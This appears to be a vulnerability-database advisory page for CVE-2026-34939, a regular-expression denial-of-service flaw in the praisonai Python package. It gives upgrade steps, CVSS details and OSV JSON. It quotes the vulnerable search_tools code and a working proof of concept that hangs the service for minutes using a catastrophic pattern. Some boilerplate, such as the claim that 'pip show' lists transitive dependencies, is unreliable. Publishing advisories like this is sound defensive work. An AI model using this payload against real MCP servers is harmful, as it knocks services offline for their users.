CVE-2026-34939: Praisonai Denial of Service Vulnerability

MODERATE
Advisory Identifier: GHSA-8w9j-hc3g-3g7f
CVSS 6.5
CWE-1333
Published
Advisory Summary

CVE-2026-34939 is a MODERATE (CVSS 6.5) denial of service vulnerability (CWE-1333: Inefficient Regular Expression Complexity) affecting Praisonai libraries in the PyPI ecosystem. The issue involves praisonai has redos via unvalidated user-controlled regex in mcptoolindex.search_tools(). Remediation is available by upgrading affected packages to version 4.5.90.

CVE-2026-34939 at a Glance

CVE Identifier CVE-2026-34939
GHSA Identifier GHSA-8w9j-hc3g-3g7f
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-1333: Inefficient Regular Expression Complexity
Affected Product Praisonai
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-34939

To remediate this vulnerability, upgrade all affected Praisonai dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

praisonai fixed: 4.5.90
pip install praisonai>=4.5.90
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show praisonai

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-34939, inspect your installed packages using pip:

pip show praisonai

Analyze the terminal output to locate any version of Praisonai in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.5.90), your application is affected.

Note: The pip show praisonai command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1333: Inefficient Regular Expression Complexity, where the product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential. In Praisonai, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `MCPToolIndex.search_tools()` compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the `re` engine, blocking the Python thread for hundreds of seconds and causing a complete service outage. ### Details `tool_index.py:365` (source) -> `tool_index.py:368` (sink) ```python # source -- query taken directly from caller, no validation def search_tools(self, query: str) -> List[ToolInfo]: import re # sink -- compiled and applied with no timeout or exception handling pattern = re.compile(query, re.IGNORECASE) for tool in self.get_all_tools(): if pattern.search(tool.name) or pattern.search(tool.hint): matches.append(tool) ``` ### PoC ```python # tested on: praisonai==1.5.87 (source install) # install: pip install -e src/praisonai import sys, time, json sys.path.insert(0, 'src/praisonai') from pathlib import Path mcp_dir = Path.home() / '.praison' / 'mcp' / 'servers' / 'test_server' mcp_dir.mkdir(parents=True, exist_ok=True) (mcp_dir / '_index.json').write_text(json.dumps([ {"name": "a" * 30 + "!", "hint": "a" * 30 + "!", "server": "test_server"} ])) (mcp_dir / '_status.json').write_text(json.dumps({ "server": "test_server", "available": True, "auth_required": False, "last_sync": time.time(), "tool_count": 1, "error": None })) from praisonai.mcp_server.tool_index import MCPToolIndex index = MCPToolIndex() start = time.monotonic() results = index.search_tools("(a+)+$") print(f"Returned in {time.monotonic() - start:.1f}s") # expected output: Returned in 376.0s ``` ### Impact A single crafted query blocks the Python thread for hundreds of seconds, causing a complete service outage for the duration. The MCP server HTTP transport runs without an API key by default, making this reachable by any attacker on the network. Repeated requests sustain the DoS indefinitely.

CVE-2026-34939 Affected Praisonai Versions

1 component(s)
Fixed Versions:
4.5.90
Product / Package Ecosystem Affected Versions Fixed Version
praisonai
PyPI
< 4.5.90
4.5.90

References

Frequently Asked Questions

What is CVE-2026-34939?
CVE-2026-34939 is a security vulnerability in Praisonai involving PraisonAI Has ReDoS via Unvalidated User-Controlled Regex in MCPToolIndex.search_tools() under CWE-1333: Inefficient Regular Expression Complexity.
Which Praisonai versions are affected?
Affected versions include releases prior to 4.5.90 across affected packages: praisonai.
What version fixes CVE-2026-34939?
Upgrading to 4.5.90 (or the latest patched release for your respective branch) resolves the vulnerability.
Is praisonai affected?
Yes, praisonai is affected in releases prior to 4.5.90. Upgrade your dependency to 4.5.90 or later.
What is the CVSS score of CVE-2026-34939?
CVE-2026-34939 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-34939?
CVE-2026-34939 is classified under CWE-1333: Inefficient Regular Expression Complexity (The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.).
How can I check PyPI dependencies for CVE-2026-34939?
Run the dependency tree command: 'pip show praisonai'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8w9j-hc3g-3g7f",
  "modified" : "2026-04-06T22:54:16Z",
  "published" : "2026-04-01T23:21:08Z",
  "aliases" : [ "CVE-2026-34939" ],
  "summary" : "PraisonAI Has ReDoS via Unvalidated User-Controlled Regex in MCPToolIndex.search_tools()",
  "details" : "### Summary\n\n`MCPToolIndex.search_tools()` compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the `re` engine, blocking the Python thread for hundreds of seconds and causing a complete service outage.\n\n### Details\n\n`tool_index.py:365` (source) -> `tool_index.py:368` (sink)\n```python\n# source -- query taken directly from caller, no validation\ndef search_tools(self, query: str) -> List[ToolInfo]:\n    import re\n\n# sink -- compiled and applied with no timeout or exception handling\n    pattern = re.compile(query, re.IGNORECASE)\n    for tool in self.get_all_tools():\n        if pattern.search(tool.name) or pattern.search(tool.hint):\n            matches.append(tool)\n```\n\n### PoC\n```python\n# tested on: praisonai==1.5.87 (source install)\n# install: pip install -e src/praisonai\nimport sys, time, json\nsys.path.insert(0, 'src/praisonai')\nfrom pathlib import Path\n\nmcp_dir = Path.home() / '.praison' / 'mcp' / 'servers' / 'test_server'\nmcp_dir.mkdir(parents=True, exist_ok=True)\n(mcp_dir / '_index.json').write_text(json.dumps([\n    {\"name\": \"a\" * 30 + \"!\", \"hint\": \"a\" * 30 + \"!\", \"server\": \"test_server\"}\n]))\n(mcp_dir / '_status.json').write_text(json.dumps({\n    \"server\": \"test_server\", \"available\": True, \"auth_required\": False,\n    \"last_sync\": time.time(), \"tool_count\": 1, \"error\": None\n}))\n\nfrom praisonai.mcp_server.tool_index import MCPToolIndex\nindex = MCPToolIndex()\n\nstart = time.monotonic()\nresults = index.search_tools(\"(a+)+$\")\nprint(f\"Returned in {time.monotonic() - start:.1f}s\")\n# expected output: Returned in 376.0s\n```\n\n### Impact\n\nA single crafted query blocks the Python thread for hundreds of seconds, causing a complete service outage for the duration. The MCP server HTTP transport runs without an API key by default, making this reachable by any attacker on the network. Repeated requests sustain the DoS indefinitely.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.5.90"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.5.89"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8w9j-hc3g-3g7f"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34939"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1333" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-01T23:21:08Z",
    "nvd_published_at" : "2026-04-03T23:17:06Z"
  }
}